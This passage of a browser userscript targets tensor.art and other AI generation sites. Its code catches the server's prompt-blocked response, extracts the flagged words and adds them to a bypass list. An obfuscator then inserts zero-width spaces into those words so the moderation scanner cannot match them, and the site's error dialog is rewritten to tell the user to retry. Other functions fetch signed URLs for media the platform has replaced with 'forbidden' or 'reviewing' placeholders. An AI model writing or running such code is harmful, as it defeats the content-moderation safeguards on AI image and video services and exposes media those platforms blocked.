freeInternetConsoleLog('Tensor', 'info', `[AutoRecheck] Initializing — checking ${allItems.length} cached item(s) for stale/expired URLs…`, {});
let refreshed = 0, skippedExpired = 0, alreadyFresh = 0, failed = 0;
// Separate items into "already fresh" and "need refresh"
const needRefresh = [];
for (const item of allItems) {
const imageId = item.id || item.imageId;
if (!imageId) continue;
// Check hard expiry (task-level expireAt)
const taskExpiry = normalizeTimestamp(item.expiresAt || item.expireAt);
if (taskExpiry && now > taskExpiry) {
skippedExpired++;
continue;
}
// Check if cached URL is still fresh
const cachedUrl = getCachedDownloadUrl(imageId, item.mimeType || '');
if (cachedUrl && isUsableBypassMediaUrl(cachedUrl, { minRemainingMs: 5 * 60 * 1000 })) {
alreadyFresh++;
continue;
}
needRefresh.push(item);
}
freeInternetConsoleLog('Tensor', 'info', `[AutoRecheck] ${needRefresh.length} items need refresh, ${alreadyFresh} already fresh, ${skippedExpired} task-expired.`, {});
if (needRefresh.length === 0) {
freeInternetConsoleLog('Tensor', 'info', '[AutoRecheck] Nothing to refresh.', {});
return;
}
// Fire all ensureDownloadUrl calls at once — the batch queue will collect
// them all during the 60ms debounce window and send in groups of 30 IDs
// per request with 1s between batches.
const refreshPromises = needRefresh.map(item => {
const imageId = String(item.id || item.imageId);
return ensureDownloadUrl(imageId, item.mimeType || '', { bypassCache: true, minExpiryMs: 5 * 60 * 1000 })
.then(fresh => {
if (fresh) {
itemsData = itemsData.map(i => (String(i.id || i.imageId) === imageId) ? { ...i, url: fresh, bypassedUrl: fresh } : i);
refreshed++;
} else {
failed++;
}
})
.catch(() => { failed++; });
});
await Promise.all(refreshPromises);
schedulePersistDownloadUrlCache();
freeInternetConsoleLog('Tensor', refreshed > 0 ? 'success' : 'info',
`[AutoRecheck] Done — refreshed: ${refreshed}, already fresh: ${alreadyFresh}, task-expired: ${skippedExpired}, failed: ${failed}`, {});
if (refreshed > 0) {
showToast(`Auto-recheck: refreshed ${refreshed} link(s)`, 'success');
// Refresh items tab if open
tabContentCache.delete('home');
if (isExpanded && currentTab === 'home') updateUI(false);
}
}
// ── Tensor Prompt Blocked (1300018) Response Handler ─────────────────────────
// Called when works/task returns code 1300018; extracts the flagged words,
// optionally auto-adds them to the bypass list, then patches the Naive UI
// error dialog the page renders so the user sees a helpful message instead.
async function processTensorPromptBlockedResponse(fetchUrl, responseLike) {
if (!responseLike) return;
try {
const cloned = typeof responseLike.clone === 'function' ? responseLike.clone() : responseLike;
let body = null;
if (typeof cloned.json === 'function') {
body = await cloned.json();
} else if (typeof cloned.responseText === 'string') {
try { body = JSON.parse(cloned.responseText || '{}'); } catch { /* ignore */ }
} else if (typeof cloned.response === 'object' && cloned.response) {
body = cloned.response;
}
if (!body || String(body.code) !== '1300018') return;
const detectedWords = tensorParseBlockedWords(body.message || '');
console.log('%c[FREEInternet PromptBypass]%c 🚫 Generation blocked by server — detected words: ' + (detectedWords.join(', ') || '(none parsed)'),
'background:#7c3aed;color:#fff;font-weight:700;padding:2px 6px;border-radius:4px;', 'color:#f87171; font-weight:700;', { body });
if (settings.promptBypassDynamicDetect && detectedWords.length) {
const existing = Array.isArray(settings.promptBypassWords) ? settings.promptBypassWords : [];
const newWords = detectedWords.filter(w => !existing.includes(w));
if (newWords.length) {
settings.promptBypassWords = [...existing, ...newWords];
saveSettings();
console.log('%c[FREEInternet PromptBypass]%c ✅ Auto-added ' + newWords.length + ' new word(s) to bypass list: ' + newWords.join(', '),
'background:#7c3aed;color:#fff;font-weight:700;padding:2px 6px;border-radius:4px;', 'color:#86efac; font-weight:700;');
showToast(`Prompt Bypass: learned ${newWords.length} new word(s) — ${newWords.join(', ')}. Try again!`, 'info');
}
}
// Patch the Naive UI dialog that the page renders for this error
patchTensorPromptBlockedDialog(detectedWords);
} catch { /* non-fatal */ }
}
// Replace the "Generate failed" error dialog text with a helpful bypass message.
function patchTensorPromptBlockedDialog(detectedWords) {
const tryPatch = (attempts = 0) => {
const dialogs = document.querySelectorAll('.n-dialog.n-modal, .n-dialog[role="dialog"]');
let patched = false;
dialogs.forEach(dlg => {
if (dlg.dataset.fiPbPatched) return;
const titleEl = dlg.querySelector('.n-dialog__title');
const contentEl = dlg.querySelector('.n-dialog__content');
if (!titleEl || !contentEl) return;
const titleText = titleEl.textContent || '';
const contentText = contentEl.textContent || '';
if (!titleText.toLowerCase().includes('generate failed') && !contentText.toLowerCase().includes('sensitive content') && !contentText.toLowerCase().includes('prohibited words')) return;
dlg.dataset.fiPbPatched = '1';
patched = true;
// Patch icon: replace the X circle with a wrench shield icon
const iconEl = dlg.querySelector('.n-dialog__icon');
if (iconEl) {
iconEl.innerHTML = `<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px;">
<path d="M12 2L4 6v6c0 5.25 3.5 10.15 8 11.35C16.5 22.15 20 17.25 20 12V6L12 2z" fill="#7c3aed" opacity=".2"/>
<path d="M12 2L4 6v6c0 5.25 3.5 10.15 8 11.35C16.5 22.15 20 17.25 20 12V6L12 2z" stroke="#a78bfa" stroke-width="1.5" fill="none"/>
<path d="M9 12l2 2 4-4" stroke="#a78bfa" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg>`;
}
// Patch title
titleEl.innerHTML = `<span style="color:#a78bfa;font-size:15px;font-weight:700;">⚡ Prompt Bypass Active</span>`;
// Patch content
const wordsHtml = detectedWords.length
? `<span style="background:rgba(239,68,68,0.12);color:#fca5a5;padding:2px 8px;border-radius:6px;font-family:monospace;font-size:12px;">[${detectedWords.map(w => `<b>${w}</b>`).join(', ')}]</span>`
: `<span style="color:#f87171;font-size:12px;">(could not parse words from response)</span>`;
const addedNote = (settings.promptBypassDynamicDetect && detectedWords.length)
? `<br><span style="color:#86efac;font-size:11px;margin-top:4px;display:block;">✅ Word(s) auto-added to your bypass list & saved. <b>Try generating again</b> — the obfuscator will handle them.</span>`
: `<br><span style="color:#fbbf24;font-size:11px;margin-top:4px;display:block;">💡 Enable <b>Dynamic Word Detect</b> in Settings → XHR → Prompt Bypass to auto-add blocked words.</span>`;
contentEl.innerHTML = `
<div style="font-size:13px;line-height:1.55;color:#e2e8f0;">
<div style="margin-bottom:6px;">The server flagged these words in your prompt:</div>
<div style="margin-bottom:8px;">${wordsHtml}</div>
<div style="color:#c4b5fd;font-size:12px;">The bypass obfuscator <b>inserts zero-width spaces</b> between letters of each known bad word — the text looks identical to you but the server scanner can't match it.</div>
${addedNote}
<div style="margin-top:8px;color:#94a3b8;font-size:11px;">Close this dialog and click <b>Generate</b> again.</div>
</div>`;
console.log('%c[FREEInternet PromptBypass]%c ✏️ Patched error dialog in DOM', 'background:#7c3aed;color:#fff;font-weight:700;padding:2px 6px;border-radius:4px;', 'color:#c4b5fd;');
});
if (!patched && attempts < 8) {
setTimeout(() => tryPatch(attempts + 1), 250);
}
};
setTimeout(() => tryPatch(), 80);
}
// ── Library Assign Feature ───────────────────────────────────────────────────
// Watches for pluscircle "Add to library" buttons on Tensor pages.
// • Hover pluscircle → tooltip explaining the bypass-cache benefit
// • Click pluscircle → sets a callback so the XHR intercept can capture the imageId
// • Checkcircle shown (added) → click opens / focuses tensor.art/library tab
function openOrFocusTensorLibrary() {
const LIB_URL = 'https://tensor.art/library';
if (_libraryTabRef && !_libraryTabRef.closed) {
try { _libraryTabRef.focus(); _libraryTabRef.location.reload(); return; } catch { /* cross-origin or closed */ }
}
const pw = typeof pageWindow !== 'undefined' ? pageWindow : window;
_libraryTabRef = pw.open(LIB_URL, '_blank');
}
let _libraryAssignDomObserver = null;
function startLibraryAssignFeature() {
if (!IS_TENSOR_DOMAIN) return;
const PROC_ATTR = 'data-fi-libassign';
const PLUS_TIP = 'Add this bypassed media to your library — the signed URL will be auto-cached so the video stays accessible via the bypass panel even after the task queue expires.';
const CHECK_TIP = 'Added to library — click to open your Library tab';
let _tipEl = null;
const showTip = (anchor, text) => {
if (_tipEl) _tipEl.remove();
_tipEl = document.createElement('div');
_tipEl.style.cssText = 'position:fixed;z-index:2147483647;background:#1e293b;color:#e2e8f0;font-size:12px;line-height:1.45;padding:8px 12px;border-radius:8px;border:1px solid rgba(99,102,241,0.4);max-width:280px;box-shadow:0 4px 16px rgba(0,0,0,0.55);pointer-events:none;';
_tipEl.textContent = text;
document.body.appendChild(_tipEl);
const r = anchor.getBoundingClientRect();
const tw = _tipEl.offsetWidth, th = _tipEl.offsetHeight;
let top = r.top - th - 8, left = r.left + r.width / 2 - tw / 2;
if (top < 8) top = r.bottom + 8;
if (left < 8) left = 8;
if (left + tw > window.innerWidth - 8) left = window.innerWidth - tw - 8;
_tipEl.style.top = top + 'px';
_tipEl.style.left = left + 'px';
};
const hideTip = () => { if (_tipEl) { _tipEl.remove(); _tipEl = null; } };
const processPluscircle = (iconEl) => {
if (iconEl.getAttribute(PROC_ATTR)) return;
iconEl.setAttribute(PROC_ATTR, '1');
const container = iconEl.parentElement;
if (!container) return;
container.addEventListener('mouseenter', () => showTip(container, PLUS_TIP), { passive: true });
container.addEventListener('mouseleave', hideTip, { passive: true });
// Capture phase: fires before Tensor's own click handler so we register the callback first.
container.addEventListener('click', () => {
_libraryAssignPendingCallback = (imageId) => {
_libraryAssignedIds.add(imageId);
tensorInterceptLog('info', 'Library Assign: imageId captured from entry/create', { imageId, total: _libraryAssignedIds.size });
};
// Safety: clear pending after 15s if entry/create never fires
setTimeout(() => { if (_libraryAssignPendingCallback) _libraryAssignPendingCallback = null; }, 15000);
}, true);
};
const processCheckcircle = (iconEl) => {
if (iconEl.getAttribute(PROC_ATTR)) return;
iconEl.setAttribute(PROC_ATTR, '1');
const container = iconEl.parentElement;
if (!container) return;
container.addEventListener('mouseenter', () => showTip(container, CHECK_TIP), { passive: true });
container.addEventListener('mouseleave', hideTip, { passive: true });
container.addEventListener('click', (e) => {
e.stopPropagation();
e.preventDefault();
openOrFocusTensorLibrary();
});
container.style.cursor = 'pointer';
};
const scan = () => {
document.querySelectorAll('iconpark-icon[icon-id="pluscircle"][title="Add to library"]').forEach(el => {
if (!el.getAttribute(PROC_ATTR)) processPluscircle(el);
});
document.querySelectorAll('iconpark-icon[icon-id="checkcircle"][title="library added"]').forEach(el => {
if (!el.getAttribute(PROC_ATTR)) processCheckcircle(el);
});
};
const attachObs = () => {
const target = document.body || document.documentElement;
if (!target) { setTimeout(attachObs, 100); return; }
if (_libraryAssignDomObserver) _libraryAssignDomObserver.disconnect();
_libraryAssignDomObserver = new MutationObserver(() => scan());
_libraryAssignDomObserver.observe(target, { childList: true, subtree: true, attributes: true, attributeFilter: ['icon-id'] });
scan();
};
attachObs();
}
// ── Error Detection / Correction ────────────────────────────────────────────
// Scans the page DOM for task video/image cards that still show forbidden.jpg
// or reviewing.png despite having a valid non-forbidden item.url in our cache.
// Injects a small "⚠ Fix" badge on the card; clicking it opens the correction dialog.
let _errorDetectObserver = null;
function startErrorDetectionLoop() {
if (!settings.errorDetectionEnabled || !IS_TENSOR_DOMAIN) return;
const scan = () => {
// Look for task card video (plyr) or image containers that still use a forbidden src
document.querySelectorAll(
'video source[src*="forbidden"], video source[src*="reviewing"], img[src*="forbidden.jpg"], img[src*="reviewing.png"]'
).forEach(el => {
// Walk up to find the containing task card (has routeId or task-related data)
let card = el;
for (let i = 0; i < 15; i++) {
card = card.parentElement;
if (!card) break;
if (card.dataset.fiBypFix) return; // already injected
// Tensor task card container: look for the Details section with Task ID
const routeSpan = card.querySelector('.font-mono.c-text-primary');
if (routeSpan) break;
}
if (!card || card.dataset.fiBypFix) return;
// Extract routeId: last span.font-mono text matches the pattern
const routeSpan = card.querySelector('.font-mono.c-text-primary');
if (!routeSpan) return;
const routeId = (routeSpan.textContent || '').trim();
if (!routeId) return;
card.dataset.fiBypFix = '1';
const badge = document.createElement('button');
badge.title = 'URL not bypassed — click to diagnose & fix';
badge.style.cssText = `
position:absolute; top:8px; left:8px; z-index:9999;
background:#ef4444; color:#fff; border:none; border-radius:6px;
padding:3px 8px; font-size:11px; font-weight:700; cursor:pointer;
box-shadow:0 2px 8px rgba(0,0,0,.45); line-height:1.4;
display:flex; align-items:center; gap:4px;
`;
badge.innerHTML = '<i class="fas fa-triangle-exclamation"></i> Fix';
badge.onclick = (e) => { e.stopPropagation(); showErrorCorrectionDialog(routeId); };
// Ensure card is positioned
const pos = window.getComputedStyle(card).position;
if (pos === 'static' || !pos) card.style.position = 'relative';
card.appendChild(badge);
});
};
scan();
if (_errorDetectObserver) _errorDetectObserver.disconnect();
_errorDetectObserver = new MutationObserver(() => scan());
const observeTarget = document.body || document.documentElement;
if (observeTarget) {
_errorDetectObserver.observe(observeTarget, { childList: true, subtree: true });
} else {
// body not ready yet — wait for it
const waitForBody = setInterval(() => {
const target = document.body || document.documentElement;
if (!target) return;
clearInterval(waitForBody);
_errorDetectObserver.observe(target, { childList: true, subtree: true });
scan();
}, 100);
}
}
// derivedTaskId: routeId → taskId by stripping the last 4 digits
function routeIdToTaskId(routeId) {
const s = String(routeId || '').trim();
return s.length > 4 ? s.slice(0, -4) : s;
}
// Full error correction dialog
async function showErrorCorrectionDialog(routeIdOrTaskId) {
// Remove existing dialog if reused
const existing = document.getElementById('fi-err-dialog');
if (existing) existing.remove();
const overlay = document.createElement('div');
overlay.id = 'fi-err-dialog';
overlay.style.cssText = `
position:fixed; inset:0; z-index:2147483647;
background:rgba(0,0,0,.72); display:flex; align-items:center; justify-content:center;
`;
const box = document.createElement('div');
box.style.cssText = `
background:#1e293b; border:1px solid #334155; border-radius:14px;
padding:24px; width:min(520px,92vw); color:#e2e8f0; font-family:system-ui,sans-serif;
position:relative;
`;
const close = document.createElement('button');
close.innerHTML = '×';
close.style.cssText = `
position:absolute; top:12px; right:14px; background:none; border:none;
color:#94a3b8; font-size:22px; cursor:pointer; line-height:1;
`;
close.onclick = () => overlay.remove();
const title = document.createElement('div');
title.style.cssText = 'font-size:16px; font-weight:800; color:#f87171; margin-bottom:16px; display:flex; align-items:center; gap:8px;';
title.innerHTML = '<i class="fas fa-shield-exclamation"></i> Error Detection & Correction';
const log = document.createElement('div');
log.style.cssText = `
font-size:12px; line-height:1.6; padding:12px; border-radius:8px;
background:#0f172a; border:1px solid #1e293b; max-height:280px;
overflow-y:auto; margin-bottom:16px; white-space:pre-wrap; word-break:break-word;
`;
const addLog = (txt, color = '#94a3b8') => {
const line = document.createElement('div');
line.style.color = color;
line.textContent = `${new Date().toLocaleTimeString()} ${txt}`;
log.appendChild(line);
log.scrollTop = log.scrollHeight;
};
const footer = document.createElement('div');
footer.style.cssText = 'display:flex; gap:8px; justify-content:flex-end; flex-wrap:wrap;';
const closeBtn = document.createElement('button');
closeBtn.className = 'bypass-btn bypass-btn-secondary';
closeBtn.style.cssText = 'width:auto; padding:7px 14px;';
closeBtn.textContent = 'Close';
closeBtn.onclick = () => overlay.remove();
const retryBtn = document.createElement('button');
retryBtn.className = 'bypass-btn bypass-btn-primary';
retryBtn.style.cssText = 'width:auto; padding:7px 14px;';
retryBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Retry Fix';
retryBtn.onclick = () => runFix();
footer.appendChild(closeBtn);
footer.appendChild(retryBtn);
box.appendChild(close);
box.appendChild(title);
box.appendChild(log);
box.appendChild(footer);
overlay.appendChild(box);
overlay.onclick = (e) => { if (e.target === overlay) overlay.remove(); };
document.body.appendChild(overlay);
const runFix = async () => {
retryBtn.disabled = true;
log.innerHTML = '';
addLog(`Diagnosing routeId/taskId: ${routeIdOrTaskId}`, '#94a3b8');
const now = Date.now();
// Derive both ids
const routeId = String(routeIdOrTaskId).trim();
const taskId = routeIdToTaskId(routeId);
addLog(`Derived taskId: ${taskId}`, '#94a3b8');
// Search taskMap and itemsData
let foundTask = taskMap.get(taskId) || taskMap.get(routeId) || null;
if (!foundTask) {
// Brute-force search taskMap
for (const [, t] of taskMap) {
if (String(t.taskId) === taskId || String(t.routeId) === routeId || String(t.taskId) === routeId) {
foundTask = t;
break;
}
}
}
const matchedItems = itemsData.filter(i => {
return String(i.taskId) === taskId || String(i.taskId) === routeId;
});
if (!foundTask && !matchedItems.length) {
addLog(`❌ Not found in cache. Task may have expired or not been captured yet.`, '#ef4444');
retryBtn.disabled = false;
return;
}
addLog(`Found in cache — ${matchedItems.length} item(s) for this task.`, '#86efac');
// Check hard task expiry
const expireAt = normalizeTimestamp(
foundTask?.expireAt || foundTask?.expiresAt || matchedItems[0]?.expiresAt || matchedItems[0]?.expireAt
);
if (expireAt) {
const remainMs = expireAt - now;
if (remainMs <= 0) {
const expiredOn = new Date(expireAt).toLocaleString();
addLog(`❌ Task hard-expired on ${expiredOn}. Cannot refresh — the generation is gone.`, '#ef4444');
retryBtn.disabled = false;
return;
}
const remainDays = (remainMs / 86400000).toFixed(1);
addLog(`Task expires in ${remainDays} day(s) — attempting URL refresh.`, '#fbbf24');
} else {
addLog(`No expiry info found — attempting URL refresh.`, '#fbbf24');
}
let fixedCount = 0;
for (const item of matchedItems.length ? matchedItems : [{ id: taskId, mimeType: 'video/mp4' }]) {
const imageId = item.id || item.imageId || taskId;
addLog(`Refreshing imageId: ${imageId}…`, '#94a3b8');
try {
const fresh = await ensureDownloadUrl(imageId, item.mimeType || '', { bypassCache: true });
if (fresh) {
// ensureDownloadUrl already sets the cache internally
itemsData = itemsData.map(i => (String(i.id || i.imageId) === String(imageId)) ? { ...i, url: fresh, bypassedUrl: fresh } : i);
addLog(`✅ Refreshed imageId ${imageId} — new URL cached.`, '#86efac');
fixedCount++;
} else {
addLog(`❌ Endpoint returned no URL for ${imageId}.`, '#ef4444');
}
} catch (err) {
addLog(`❌ Error for ${imageId}: ${String(err?.message || err)}`, '#ef4444');
}
}
if (fixedCount > 0) {
schedulePersistDownloadUrlCache();
tabContentCache.delete('home');
addLog(`✅ Fixed ${fixedCount} item(s). Bypass URL(s) updated in cache.`, '#86efac');
showToast(`Error correction: fixed ${fixedCount} item(s)`, 'success');
// Remove fix badges from this card
document.querySelectorAll('[data-fi-byp-fix]').forEach(el => {
if ((el.querySelector('.font-mono.c-text-primary')?.textContent || '').trim() === routeId) {
delete el.dataset.fiBypFix;
}
});
if (isExpanded && currentTab === 'home') updateUI(false);
} else {
addLog(`No items could be fixed.`, '#f87171');
}
retryBtn.disabled = false;
};
await runFix();
}
// Tensor-only features/UI (do not run on Instagram or other @match sites)
if (IS_TENSOR_DOMAIN) {
startAutoCheck();
startDomInjectionWatcher();
startSettingsPageCheck();
startTaskMonitoring();
startProfileMenuWatcher();
startNotificationInjectionLoop();
startDropdownWatcher(); // Watch for task dropdown menus
loadCachedTasksIntoItems();
initTensorhubListener(); // Initialize TensorHub listener if on tensorhub domain
if (settings.autoRecheckLinksOnLoad) startAutoRecheckLinksOnLoad();
if (settings.errorDetectionEnabled) startErrorDetectionLoop();
startLibraryAssignFeature(); // always active: pluscircle tooltip + checkcircle → open library
checkAndApplyDeletionRules(); // Check and apply any configured deletion rules
updateUI();
// Inject collapse button early on page load
injectCollapseButtonEarly();
} else if (IS_PIXVERSE_DOMAIN) {
// Lightweight floating panel on Pixverse
updateUI();
if (shouldShowUiOnCurrentDomain()) injectCollapseButtonEarly();
} else if (IS_DIGEN_DOMAIN) {
// Lightweight floating panel on Digen
updateUI();
if (shouldShowUiOnCurrentDomain()) injectCollapseButtonEarly();
} else if (IS_GROK_DOMAIN) {
// Lightweight floating panel on Grok/X
updateUI();
if (shouldShowUiOnCurrentDomain()) injectCollapseButtonEarly();
} else if (IS_HIGGSFIELD_DOMAIN) {
// Lightweight floating panel on Higgsfield
updateUI();
if (shouldShowUiOnCurrentDomain()) injectCollapseButtonEarly();
} else if (IS_HAILUO_DOMAIN) {
// Lightweight floating panel on Hailuo
updateUI();
if (shouldShowUiOnCurrentDomain()) injectCollapseButtonEarly();
}
})();